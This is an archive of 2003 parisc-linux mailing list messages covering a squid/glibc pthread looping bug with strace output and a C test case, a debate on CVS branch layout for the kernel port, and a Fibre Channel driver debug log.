>mmap(0x40372000, 36864, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED,
>3
>, 0x13e000) = 0x40372000
>mmap(0x4037b000, 7176, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP
>_ANONYMOUS, -1, 0) = 0x4037b000
>close(3)                                = 0
>munmap(0x40017000, 13557)               = 0
>getpid()                                = 23706
>rt_sigaction(SIGRTMIN, {0x400865d6, [], 0}, NULL, 8) = 0
>rt_sigaction(SIGRT_1, {0x400865de, [], 0}, NULL, 8) = 0
>rt_sigaction(SIGRT_2, {0x400865e6, [], 0}, NULL, 8) = 0
>rt_sigprocmask(SIG_BLOCK, [RTMIN], NULL, 8) = 0
>_sysctl(0xfaf00988, 0, 0, 0xfaf009b0, 0) = 0
>sched_yield()                           = 0
>sched_yield()                           = 0
>.
>.
>.
>.
>
>squid loop here
>
>Is the problem is in _systcl() or elsewhere?
>How may I analyse further this pb (for my limited understanding, I do not
>found enough information on _sysctl() in man)?
>
>Thanks for additional help,
>    Joel
>
>
>PS: the two system are b180L running the same kernel 2.4.20-pa27. The first
>one is a testing debian before glibc upgrade, the second one just after
the
>glibc upgrade.
>
>---------------------------------
>Vous surfez avec une ligne classique ?
>Economisez jusqu' 25% avec Tiscali Complete !
>Offre spciale : premire anne d'abonnement offerte.
>... Plus d'info sur http://complete.tiscali.be
>
>
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: Tue, 18 Mar 2003 16:10:44 +0100
Lines: 78
Approved: news@gmane.org
Message-ID: <CAA37AAB-5953-11D7-8A4F-0030656F07A2@esiee.fr>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v551)
Content-Type: text/plain; charset=ISO-8859-1; format=flowed
Content-Transfer-Encoding: quoted-printable
X-Trace: ger.gmane.org 1416622299 23051 80.91.229.3 (22 Nov 2014 02:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:39 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 08:10:49 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 91A71483A
	for <parisc-linux@parisc-linux.org>; Tue, 18 Mar 2003 08:10:48 -0700 (MST)
Original-Received: from 127.0.0.1 (localhost.esiee.fr [127.0.0.1])
	by dummy.domain.name (Postfix) with SMTP
	id 482DC49BEB; Tue, 18 Mar 2003 16:10:46 +0100 (CET)
Original-Received: from esiee.fr (npyu.esiee.fr [147.215.7.13])
	by mail.esiee.fr (Postfix) with ESMTP
	id EC0D949BDE; Tue, 18 Mar 2003 16:10:44 +0100 (CET)
In-Reply-To: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Apple Mail (2.551)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17977

Le mardi, 18 mar 2003, =E0 15:33 Europe/Paris, Matthew Wilcox a =E9crit =
:
>
> So how about this model...
>
> 1. -> linus
> 1.1 -> LINUS_260
> 1.2 -> LINUS_261
> 1.2.1 -> parisc_261
> 1.2.1.1 -> CVS261_PA1
> 1.2.1.2 -> CVS261_PA2
> ...
> 1.3 -> LINUS_262
> 1.3.1 -> parisc_262
> 1.3.1.1 -> CVS262_PA1
>
> OK, this model clearly fits CVS' needs much better.  How about ours?
> Well, it sucks that you're always developing on a branch.  It sucks =
for
> people who're used to doing 'cvs up -A' to get to the trunk, because
> they now get Linus instead of us.  It also sucks that you stay on
> parisc_261 when you type "cvs up", so you have to explictly say "cvs
> up -rparisc_262".
>
> However, it doesn't have the suckitude of vendor branches, and it=20
> allows
> us to reasonably use cvs diff -rlinus.  Choose your suck.

Well, as a matter of fact, it sucks.

Now, we have several alternatives:
* Use BK.
* Upgrade DSL2 to an arse-kicking Quad-P4Xeon 3 point oh fuckin' six=20
sweet gigahertz.
You won't see anymore lag.

More seriously, I'm no CVS/SCM guru either, and I think that scheme=20
*could* work,
assuming we slap ourselves with some tyrannosaurus' tails to get used=20
to these CVS
habits.

My own concern is that I don't really see the need for a 4th depth=20
level. Stop at
'parisc' branch and work on it seems fairly enough to me, i mean, do we=20=

really want
to be able to retrieve any '-paXX' subversion, which are usually more=20
or less about
changing a dozen of lines in a couple of files in the worse case ?

I'd apply that well known sentence taken from Linux' Coding Styles:
"if you need more than 3 levels of indentation, you're screwed anyway,=20=

and should fix
your program."
I'd say the same goes for CVS branches depth.

I also confess my lack of CVS knowledge, but I like the way gcc/gdb and=20=

other gnu
projects manage their CVS; that is having their trunk on HEAD, and=20
branches
corresponding to releases. I guess this is related to that=20
heavily-sucking-vendor-
branches-stuff-willy-hates, and I'm not even certain we could do the=20
same on a kernel
development tree, so I won't ask more. Just wanted to express my view :)

HTH,


Thibaut VARENE
The PA/Linux ESIEE Team
http://pateam.esiee.fr/=




From - Thu Nov 08 21:27:08 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] FC driver?
Date: Tue, 18 Mar 2003 16:18:38 +0100
Lines: 133
Approved: news@gmane.org
Message-ID: <3E68A39600001FFE@ocpmta7.freegates.net>
References: <20030317163804.GC31378@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622299 23059 80.91.229.3 (22 Nov 2014 02:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:39 +0000 (UTC)
Cc: "Jan-Benedict Glaw" <jbglaw@lug-owl.de>,
	parisc-linux@lists.parisc-linux.org
To: grundler@dsl2.external.hp.com,
	"Ryan Bradetich" <rbradetich@uswest.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 08:18:43 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id 86EB3483A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 08:18:43 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vIrP-0005gL-00; Tue, 18 Mar 2003 16:18:39 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 18 Mar 2003 16:18:38 +0100
In-Reply-To: <20030317163804.GC31378@dsl2.external.hp.com>
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17978

Hi all,

Thanks a lot for all those info. 

Unfortunately I have no free time to help more on this driver (and also not
enough knowledge for the moment: even thought time and work could solve this
pb :) ).

Joel


>-- Original Message --
>To: Ryan Bradetich <rbradetich@uswest.net>
>Cc: Jan-Benedict Glaw <jbglaw@lug-owl.de>,
>	parisc-linux@lists.parisc-linux.org
>Subject: Re: [parisc-linux] FC driver?
>From: grundler@dsl2.external.hp.com (Grant Grundler)
>Date: Mon, 17 Mar 2003 09:38:04 -0700
>
>
>On Mon, Mar 17, 2003 at 09:22:23AM -0700, Ryan Bradetich wrote:
>> On parisc?  I've had trouble with it running on my C200.  Maybe
>> it is time to try it again.  I know Jes and Martin worked on it 
>> for i386..
>
>my bad - you are right. It still doesn' work. Details follow.
>
>I just tried it again with:
>20:00.0 PCI bridge: Digital Equipment Corporation DECchip 21154 (rev 02)
>21:04.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel
>Host Adapter (rev 0a)
>21:05.0 Fibre Channel: Hewlett-Packard Company Tach TL Fibre Channel
>Host Adapter (rev 0a)
>
>20:00.0 Class 0604: 1011:0026 (rev 02)
>21:04.0 Class 0c04: 103c:1028 (rev 0a)
>21:05.0 Class 0c04: 103c:1028 (rev 0a)
>
>cpqfc driver loads but still finds no devices on the FC hub.
>
>gsyprf11:~# modprobe cpqfc
> scsi_register allocating 6640 bytes for FC HBA
>  HBA found!
>  HostAdapter->PciDev->irq = 256
>  PciDev->baseaddress[0]= 0
>  PciDev->baseaddress[1]= 20000
>  PciDev->baseaddress[2]= 20100
>  PciDev->baseaddress[3]= fffffffffa040000
>  cpqfcHBAdata->fcChip.Registers. :
>    IOBaseL = 20000
>    IOBaseU = 20100
> ioremap'd Membase: fffffffffa040000
>    SFQconsumerIndex.address = fffffffffa040058
>    ERQproducerIndex.address = fffffffffa040008
>    TYconfig.address = fffffffffa040184
>    FMconfig.address = fffffffffa0401c0
>    FMcontrol.address = fffffffffa0401c4
>  Requesting 255 I/O addresses @ 20000
>  Requesting 255 I/O addresses @ 20100
> ResetTachyon
>  HBA Tachyon RevId 2.2
>Allocating 129024 for 576 Exchanges @ 00000000355e0000
>Allocating 112904 for LinkQ @ 00000000355c0000 (576 elements)
>Allocating 106504 for TachSEST for 512 Exchanges
>  cpqfcTS: writing IMQ BASE 7580000h    PI 7584000h
>  cpqfcTS: SEST 000000004be80000(virt): Wrote base 75A0000h @
>fffffffffa040140
>cpqfcTS: NVRAM read failed
> WARNING! HBA NVRAM WWN read failed - make alias
>  WWN 51044F1044556677
>  Waiting for broken Brocade switch...
> scsi_register allocating 6640 bytes for FC HBA
>  HBA found!
>  HostAdapter->PciDev->irq = 257
>  PciDev->baseaddress[0]= 0
>  PciDev->baseaddress[1]= 20200
>  PciDev->baseaddress[2]= 20300
>  PciDev->baseaddress[3]= fffffffffa041000
>  cpqfcHBAdata->fcChip.Registers. :
>    IOBaseL = 20200
>    IOBaseU = 20300
> ioremap'd Membase: fffffffffa041000
>    SFQconsumerIndex.address = fffffffffa041058
>    ERQproducerIndex.address = fffffffffa041008
>    TYconfig.address = fffffffffa041184
>    FMconfig.address = fffffffffa0411c0
>    FMcontrol.address = fffffffffa0411c4
>  Requesting 255 I/O addresses @ 20200
>  Requesting 255 I/O addresses @ 20300
> ResetTachyon
>  HBA Tachyon RevId 2.2
>Allocating 129024 for 576 Exchanges @ 000000004be60000
>Allocating 112904 for LinkQ @ 000000004be40000 (576 elements)
>Allocating 106504 for TachSEST for 512 Exchanges
>  cpqfcTS: writing IMQ BASE 7800000h    PI 7804000h
>  cpqfcTS: SEST 000000004be20000(virt): Wrote base 7820000h @
>fffffffffa041140
>cpqfcTS: NVRAM read failed
> WARNING! HBA NVRAM WWN read failed - make alias
>  WWN 510450E844556677
>  Waiting for broken Brocade switch...
>scsi6 : Agilent FC HBA, Tachyon XL2 HPFC-5200B/2.2: WWN 51044F1044556677
> on PCI bus 33 device 0x1028 irq 256 IObaseL 0x20000, MEMBASE 0xfa040000
>PCI bus width 64 bits, bus speed 66 MHz
>FCP-SCSI Driver v2.1.1
>GBIC detected: Unknown.  LPSM 0h Monitor
>scsi7 : Agilent FC HBA, Tachyon XL2 HPFC-5200B/2.2: WWN 510450E844556677
> on PCI bus 33 device 0x1028 irq 257 IObaseL 0x20200, MEMBASE 0xfa041000
>PCI bus width 64 bits, bus speed 66 MHz
>FCP-SCSI Driver v2.1.1
>GBIC detected: Short-wave.  LPSM 0h Monitor
>gsyprf11:~#
>
>The "NVRAM read failed" msg seems to be a problem still.
>Fixing that would be a next step. The GBIC detection is the
>next problem that would need work. Looks like a timing problem
>since the first GBIC was not detected and the second one was.
>
>grant
>_______________________________________________
>parisc-linux mailing list
>parisc-linux@lists.parisc-linux.org
>http://lists.parisc-linux.org/mailman/listinfo/parisc-linux


---------------------------------
Vous surfez avec une ligne classique ?
Economisez jusqu' 25% avec Tiscali Complete !
Offre spciale : premire anne d'abonnement offerte.
... Plus d'info sur http://complete.tiscali.be




From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: Tue, 18 Mar 2003 15:26:50 +0000
Lines: 148
Approved: news@gmane.org
Message-ID: <20030318152650.GI14520@parcelfarce.linux.theplanet.co.uk>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk> <CAA37AAB-5953-11D7-8A4F-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=iso-8859-1
Content-Transfer-Encoding: 8bit
X-Trace: ger.gmane.org 1416622299 23062 80.91.229.3 (22 Nov 2014 02:11:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:39 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>, parisc-linux@parisc-linux.org
To: Thibaut VARENE <varenet@esiee.fr>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 08:26:51 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 64DD34838
	for <parisc-linux@parisc-linux.org>; Tue, 18 Mar 2003 08:26:51 -0700 (MST)
Original-Received: from willy by www.linux.org.uk with local (Exim 4.14)
	id 18vIzK-0007Ys-65; Tue, 18 Mar 2003 15:26:50 +0000
Content-Disposition: inline
In-Reply-To: <CAA37AAB-5953-11D7-8A4F-0030656F07A2@esiee.fr>
User-Agent: Mutt/1.4i
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17979

On Tue, Mar 18, 2003 at 04:10:44PM +0100, Thibaut VARENE wrote:
> Le mardi, 18 mar 2003,  15:33 Europe/Paris, Matthew Wilcox a crit :
> >1. -> linus
> >1.1 -> LINUS_260
> >1.2 -> LINUS_261
> >1.2.1 -> parisc_261
> >1.2.1.1 -> CVS261_PA1
> >1.2.1.2 -> CVS261_PA2
> >...
> >1.3 -> LINUS_262
> >1.3.1 -> parisc_262
> >1.3.1.1 -> CVS262_PA1
> 
> Well, as a matter of fact, it sucks.
> 
> Now, we have several alternatives:
> * Use BK.

Sorry, I don't think we have the bandwidth to deal with the ensuing
flame-war on parisc-linux ;-)

> * Upgrade DSL2 to an arse-kicking Quad-P4Xeon 3 point oh fuckin' six 
> sweet gigahertz.
> You won't see anymore lag.

Heh.

> More seriously, I'm no CVS/SCM guru either, and I think that scheme 
> *could* work,
> assuming we slap ourselves with some tyrannosaurus' tails to get used 
> to these CVS
> habits.
> 
> My own concern is that I don't really see the need for a 4th depth 
> level. Stop at
> 'parisc' branch and work on it seems fairly enough to me, i mean, do we 
> really want
> to be able to retrieve any '-paXX' subversion, which are usually more 
> or less about
> changing a dozen of lines in a couple of files in the worse case ?

Ah, grasshopper.  This is just your lack of CVS knowledge ;-)

To quote from the CVS info docs:

Branches and revisions
======================

   Ordinarily, a file's revision history is a linear series of
increments (*note Revision numbers::):
            ! 1.1 !----! 1.2 !----! 1.3 !----! 1.4 !----! 1.5 !
   Each branch has a "branch number", consisting of an odd number of
period-separated decimal integers.  The branch number is created by
appending an integer to the revision number where the corresponding
branch forked off.  Having branch numbers allows more than one branch
to be forked off from a certain revision.

   All revisions on a branch have revision numbers formed by appending
an ordinal number to the branch number.  The following figure
illustrates branching with an example.

                                                           +-------------+
                                Branch 1.2.2.3.2 ->        ! 1.2.2.3.2.1 !
                                                         / +-------------+
                                                        /
                                                       /
                      +---------+    +---------+    +---------+
     Branch 1.2.2 -> _! 1.2.2.1 !----! 1.2.2.2 !----! 1.2.2.3 !
                    / +---------+    +---------+    +---------+
                   /
                  /
     +-----+    +-----+    +-----+    +-----+    +-----+
     ! 1.1 !----! 1.2 !----! 1.3 !----! 1.4 !----! 1.5 !  <- The main trunk
     +-----+    +-----+    +-----+    +-----+    +-----+
                     !
                     !
                     !   +---------+    +---------+    +---------+
     Branch 1.2.4 -> +---! 1.2.4.1 !----! 1.2.4.2 !----! 1.2.4.3 !
                         +---------+    +---------+    +---------+

   The exact details of how the branch number is constructed is not
something you normally need to be concerned about, but here is how it
works: When CVS creates a branch number it picks the first unused even
integer, starting with 2.  So when you want to create a branch from
revision 6.4 it will be numbered 6.4.2.  All branch numbers ending in a
zero (such as 6.4.0) are used internally by CVS (*note Magic branch
numbers::).  The branch 1.1.1 has a special meaning.  *Note Tracking
sources::.

... rereading that myself, I realise I made a mistake in my original
exposition.  It should have been:

1. -> linus
1.1 -> LINUS_260
1.2 -> LINUS_261
1.2.2 -> parisc_261
1.2.2.1 -> CVS261_PA1
1.2.2.2 -> CVS261_PA2
...
1.3 -> LINUS_262
1.3.2 -> parisc_262
1.3.2.1 -> CVS262_PA1

One other convention which I believe mang borrowed from mozilla is
the practice of denoting branch tags in lower case and normal tags in
upper case.  I have preserved that here.

> I also confess my lack of CVS knowledge, but I like the way gcc/gdb and 
> other gnu
> projects manage their CVS; that is having their trunk on HEAD, and 

Hold it right there, buddy.  After reading the documentation a few months
ago, Paul and I decided that HEAD was the work of the devil, never
made any sense and nobody was allowed to even say the word any more.
90% of the time people say HEAD, they mean trunk.  What HEAD _actually_
does is take the latest revision of a file on _any_ branch.  Not a smart
idea when you have multiple independent branches.

> branches
> corresponding to releases. I guess this is related to that 
> heavily-sucking-vendor-
> branches-stuff-willy-hates, and I'm not even certain we could do the 
> same on a kernel
> development tree, so I won't ask more. Just wanted to express my view :)

Vendor branches are the aforementioned 1.1.1 branch.  Again, let me quote
from the manual:

   If you modify a program to better fit your site, you probably want
to include your modifications when the next release of the program
arrives.  CVS can help you with this task.

   In the terminology used in CVS, the supplier of the program is
called a "vendor".  The unmodified distribution from the vendor is
checked in on its own branch, the "vendor branch".  CVS reserves branch
1.1.1 for this use.


In fact, the vendor branch is far too magic for us.  It has the bizarre
property that any new files you commit to it will appear on the trunk
without being merged to the trunk.  So we Don't Use Vendor Branches
because it doesn't let us control what's going on properly.

-- 
"It's not Hollywood.  War is real, war is primarily not about defeat or
victory, it is about death.  I've seen thousands and thousands of dead bodies.
Do you think I want to have an academic debate on this subject?" -- Robert Fisk


From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: James Bottomley <James.Bottomley@steeleye.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] CVSy stuff
Date: 18 Mar 2003 10:30:25 -0500
Lines: 32
Approved: news@gmane.org
Message-ID: <1048001425.2210.14.camel@mulgrave>
References: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622300 23063 80.91.229.3 (22 Nov 2014 02:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:40 +0000 (UTC)
Cc: parisc-linux@parisc-linux.org
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 08:30:58 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from hancock.sc.steeleye.com (nat9.steeleye.com [65.114.3.137])
	by dsl2.external.hp.com (Postfix) with ESMTP id 8389F4838
	for <parisc-linux@parisc-linux.org>; Tue, 18 Mar 2003 08:30:58 -0700 (MST)
Original-Received: from midgard.sc.steeleye.com (midgard.sc.steeleye.com [172.17.6.40])
	by hancock.sc.steeleye.com (8.11.6/linuxconf) with ESMTP id h2IFUP309010;
	Tue, 18 Mar 2003 10:30:25 -0500
In-Reply-To: <20030318143337.GF14520@parcelfarce.linux.theplanet.co.uk>
X-Mailer: Ximian Evolution 1.0.8 (1.0.8-9) 
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17980

On Tue, 2003-03-18 at 09:33, Matthew Wilcox wrote:
> So how about this model...
> 
> 1. -> linus
> 1.1 -> LINUS_260
> 1.2 -> LINUS_261
> 1.2.1 -> parisc_261
> 1.2.1.1 -> CVS261_PA1
> 1.2.1.2 -> CVS261_PA2
> ...
> 1.3 -> LINUS_262
> 1.3.1 -> parisc_262
> 1.3.1.1 -> CVS262_PA1
> 
> OK, this model clearly fits CVS' needs much better.  How about ours?
> Well, it sucks that you're always developing on a branch.  It sucks for
> people who're used to doing 'cvs up -A' to get to the trunk, because
> they now get Linus instead of us.  It also sucks that you stay on
> parisc_261 when you type "cvs up", so you have to explictly say "cvs
> up -rparisc_262".
> 
> However, it doesn't have the suckitude of vendor branches, and it allows
> us to reasonably use cvs diff -rlinus.  Choose your suck.

The proposed model works OK.  I used to use it for my voyager trees when
I had them in CVS instead of BK.  I think your assessment is correct:
it's the least of the evils.

James




From - Thu Nov 08 21:27:09 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Joel Soete" <jsoe0708@tiscali.be>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] squid pb with glibc-2.3.1 and pthread (pb reproduced now)
Date: Tue, 18 Mar 2003 17:25:28 +0100
Lines: 109
Approved: news@gmane.org
Message-ID: <3E68A39600002063@ocpmta7.freegates.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416622300 23064 80.91.229.3 (22 Nov 2014 02:11:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:11:40 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Mar 18 09:38:03 2003
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from smtp-out.tiscali.be (spoolm2.tiscalinet.be [212.35.2.51])
	by dsl2.external.hp.com (Postfix) with ESMTP id D13804837
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 09:38:02 -0700 (MST)
Original-Received: from [62.235.14.106] (helo=mail.tiscali.be)
	by smtp-out.tiscali.be with esmtp (Tiscali) 
	id 18vJu5-0006Q5-00
	for <parisc-linux@lists.parisc-linux.org>; Tue, 18 Mar 2003 17:25:29 +0100
Original-Received: from [193.75.200.4] by mail.tiscali.be with HTTP; Tue, 18 Mar 2003 17:25:28 +0100
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.11
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:17981

Hi all,

Sorry in advance if am annoying but remember this test case:

(the very begining of squid main())

#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <errno.h>

/* getpid(), geteuid()  */
#include <sys/types.h>
#include <unistd.h>

/* setgroups() */
#include <grp.h>

/* mkdir() */
#include <sys/stat.h>
#define MAXPATHLEN 256

/* waitpid() */
#include <sys/wait.h>

/* mallopt() */
#include <malloc.h>

#define SQUID_MAXFD 4096

/* autoconf.h */
/* Define if you have the mallopt function.  */
#define HAVE_MALLOPT 1

/* dlmalloc.c */
#define M_GRAIN   3    /* UNUSED in this malloc */
#define M_MXFAST  1    /* UNUSED in this malloc */

int Squid_MaxFD;		/* SQUID_MAXFD */

FILE *debug_log = NULL;

int
main(int argc, char **argv)
{
    int errcount = 0;
    mode_t oldmask;

    debug_log = stderr;
    if (FD_SETSIZE < Squid_MaxFD)
	Squid_MaxFD = FD_SETSIZE;

    fprintf(stderr, "nb_err: %d\n", errcount);
    /* call mallopt() before anything else */

#ifdef HAVE_MALLOPT
    fprintf(stderr, "  HAVE_MALLOPT \n");
#ifdef M_GRAIN
    /* Round up all sizes to a multiple of this */
    fprintf(stderr, " M_GRAIN seti: %d\n", M_GRAIN);
    mallopt(M_GRAIN, 16);
#endif
#ifdef M_MXFAST
    /* biggest size that is considered a small block */
    fprintf(stderr, " M_MXFAST seti: %d\n", M_MXFAST);
    mallopt(M_MXFAST, 256);
#endif
#ifdef M_NBLKS
    /* allocate this many small blocks at once */
    fprintf(stderr, " M_NBLKS set: %d\n", M_NBLKS);
    mallopt(M_NLBLKS, 32);
#endif
#endif /* HAVE_MALLOPT */

/*
    oldmask = umask(S_IRWXO);
 */

    return 0;
}

At this time I compiled it simply:
gcc -o foo foo.c

run it ./foo and no problem :_((  [very very bad it didn't reproduced the
pb]

Now recompile it with pthread lib (useless for this test case never the less
here usefull):

gcc -o foo -l pthread foo.c

run it ./foo and now it loop :)

(hmm squid can work without maollopt but not pthread afaik)

Joel




---------------------------------
